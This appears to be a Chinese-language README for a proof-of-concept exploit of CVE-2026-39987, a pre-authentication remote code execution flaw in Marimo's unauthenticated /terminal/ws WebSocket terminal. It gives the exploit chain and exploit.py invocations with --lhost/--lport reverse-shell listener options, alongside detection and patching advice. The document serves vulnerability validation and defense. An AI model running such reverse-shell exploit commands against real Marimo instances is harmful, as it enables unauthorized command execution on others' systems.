| 属性 | 值 |
|---|---|
| CVE | CVE-2026-39987 |
| 产品 | Marimo |
| 漏洞类型 | 预认证远程代码执行 |
| 攻击向量 | 网络 |
| 认证要求 | 不需要 |
| 用户交互 | 不需要 |
| CWE | CWE-306 — 关键功能缺少认证 |
| 严重程度 | 严重 |
| 修复版本 | 0.23.0 |
CVE-2026-39987 是一个影响 Marimo(一个响应式 Python 笔记本环境)的严重预认证远程代码执行(RCE)漏洞。该漏洞位于终端 WebSocket 端点 /terminal/ws。
存在漏洞的终端端点在接受 WebSocket 连接后创建交互式 PTY。
从概念上讲,存在漏洞的请求流程如下:
远程客户端
|
| WebSocket 连接
v
/terminal/ws
|
| 缺少认证验证
v
WebSocket 被接受
|
v
创建 PTY
|
v
交互式 Shell
关键的安全边界在于缺少认证检查。
暴露任意命令执行功能的端点绝不允许未认证的客户端到达 PTY 创建逻辑。
本项目的目的是在受控环境中演示影响 Marimo 终端 WebSocket 端点的认证缺失问题。
安全团队可以使用该项目来:
警告: 仅对您拥有或明确授权测试的系统运行 PoC。
完整的漏洞利用链可总结如下:
1. 攻击者发现暴露的 Marimo 实例
|
v
2. 攻击者连接到 /terminal/ws
|
v
3. 未强制执行认证
|
v
4. WebSocket 连接被接受
|
v
5. 创建 PTY 终端
|
v
6. 攻击者获得命令执行能力
|
v
7. 命令以 Marimo 进程身份执行
关键的安全失败发生在第 3 步。
Python 3.7+
pip
对授权目标的网络访问
# 基础安装
pip install websocket-client
# 完整安装
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <目标URL> --lhost <本地IP> --lport <端口>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://target:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
阶段 1:初始化
↓ 验证参数
↓ 配置日志
阶段 2:准备
↓ 初始化监听器
↓ 建立 WebSocket 连接
阶段 3:验证
↓ 测试终端端点
↓ 验证认证强制执行
↓ 记录连接行为
阶段 4:演示
↓ 建立授权测试会话
↓ 验证命令执行上下文
↓ 收集验证证据
阶段 5:清理
↓ 恢复终端状态
↓ 关闭连接
↓ 释放资源
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
预期结果: 存在漏洞的终端端点接受未认证的连接。
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
预期结果: 连接被认证控制拒绝或以其他方式阻止。
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
预期结果: 超时被干净地报告。
严重程度: 严重(CVSS 9.3)
复杂度: 低
认证要求: 无
影响: 远程代码执行
协议: WebSocket
端点: /terminal/ws
修复版本: 0.23.0
源 README 将该问题归类为 CVSS 9.3 严重级别,并标识了 CWE-306、WebSocket 协议以及受影响的端点 /terminal/ws。
潜在的利用迹象包括对以下端点的意外 WebSocket 连接:
/terminal/ws
防御者应调查:
将 Marimo 升级到修复版本:
0.23.0 或更高版本
其他防御性建议包括:
/terminal/ws 活动。CVE: CVE-2026-39987
CWE: CWE-306
严重程度: 严重
类型: 预认证 RCE
协议: WebSocket
端点: /terminal/ws
认证: 无需
修复版本: 0.23.0
仅限授权使用
本项目仅供以下用途:
未经授权的使用被严格禁止,并可能违反适用的当地和国际法律。
本项目仅供安全研究、漏洞验证和教育目的使用。
请勿对您不拥有或未经明确授权测试的系统使用 PoC。
维护者不对滥用、未经授权的测试、损害、数据丢失或因使用本项目而产生的任何后果负责。
| 参数 | 类型 | 描述 | 默认值 |
|---|
-u, --url | string | 目标 Marimo 实例的基础 URL | 必填 |
--lhost | string | 监听器 IP 地址 | 必填 |
--lport | int | 监听器端口(1-65535) | 必填 |
--timeout | int | 监听器超时时间(秒) | 15 |
--retries | int | WebSocket 连接重试次数 | 3 |
--retry-delay | float | 重试之间的延迟 | 2.0 |
--no-verify-ssl | flag | 禁用 SSL 证书验证 | False |
-v, --verbose | flag | 启用详细输出 | False |
-s, --silent | flag | 抑制输出 | False |